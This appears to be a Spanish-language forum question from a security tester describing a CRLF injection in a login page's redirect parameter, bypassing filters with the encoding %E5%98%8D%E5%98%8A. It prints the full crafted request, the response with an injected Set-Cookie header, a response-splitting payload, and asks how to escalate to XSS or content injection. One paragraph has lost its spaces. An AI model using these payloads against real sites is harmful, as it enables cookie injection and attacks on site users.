He estado preparando para una empresa. Encontré una inyección de CRLF que se podría hacer usando %E5%98%8D%E5%98%8A
en lugar de %0d%0a
. Entonces estoy usando %E5%98%8D%E5%98%8A
en el parámetro de redireccionamiento para CR / LF. Aquí está el ejemplo de CR / LF.
POST /Login?redir=/%E5%98%8D%E5%98%8ASet-Cookie:%20Test=Test HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://example.com/Login?redir=/
Cookie: npii=bcguid/eeed476d1530a2afb4c108a1ff6c8a7858e8fd6d^tguid/eeed476d1530a2afb4c108a1ff6c8a7958e8fd6d^; guid=153f03aafcc.a787875.73837.ffffffff; lang=en-US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
[email protected]&password=passwd&submit=Sign+in
y la respuesta es:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Set-Cookie: epnAQABAAAAcL+4dNXREv5UlAUmnCm8pZjU5ZMGA8Hh7eOXJ59693k+u7Sj84BWjNVabZi9+tsOPv2StVHtoqFe+4yWHHz5HOPgghz5oyVfEcsQubE1j5XHZO6SAhQsZGCo7s+rkEx7tl+GTafUDd1zE9702PrSAmg=;Domain=.example.com;Expires=Fri, 08-Apr-2016 16:15:44 GMT;Path=/; Secure; HttpOnly
Set-Cookie: lang=en-US;Domain=.example.com;Expires=Wed, 07-Apr-2021 15:15:44 GMT;Path=/
Set-Cookie: ifl=y;Domain=.example.com;Path=/
Location: https://example.com/
Set-Cookie: Test=Test
Content-Length: 0
Date: Fri, 08 Apr 2016 15:15:43 GMT
Pero cuando intentaba dividir el encabezado usando:
/%E5%98%8D%E5%98%8AContent-Length:%200%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8AHTTP/1.1%20200%20OK%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8AContent-Length:%2017%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A<html>Test</html>
El contenido de HTTP/1.1 200 OK
tratado como un HTML como se muestra en HTML.
Comoseveenelejemploanterior,heusado%E5%98%8D%E5%98%8A
dosvecesantesdelnuevoencabezadoderespuestaycuandoestoyusando%E5%98%8D%E5%98%8A
unavez,nosetratacomounasegundarespuestaporqueaquíestálarazón.
Como puede ver la imagen 2, el valor de HTTP / 1.1 debe ser 200 OK
pero no se divide.
¿Qué debo intentar?
Como esta es una página de redirección junto con las credenciales de inicio de sesión, no puedo colocar la inyección de contenido allí. Actualmente puedo hacer inyección de galletas. ¿Hay alguna forma de explotar otras vulnerabilidades como XSS, inyección de contenido u otro ataque?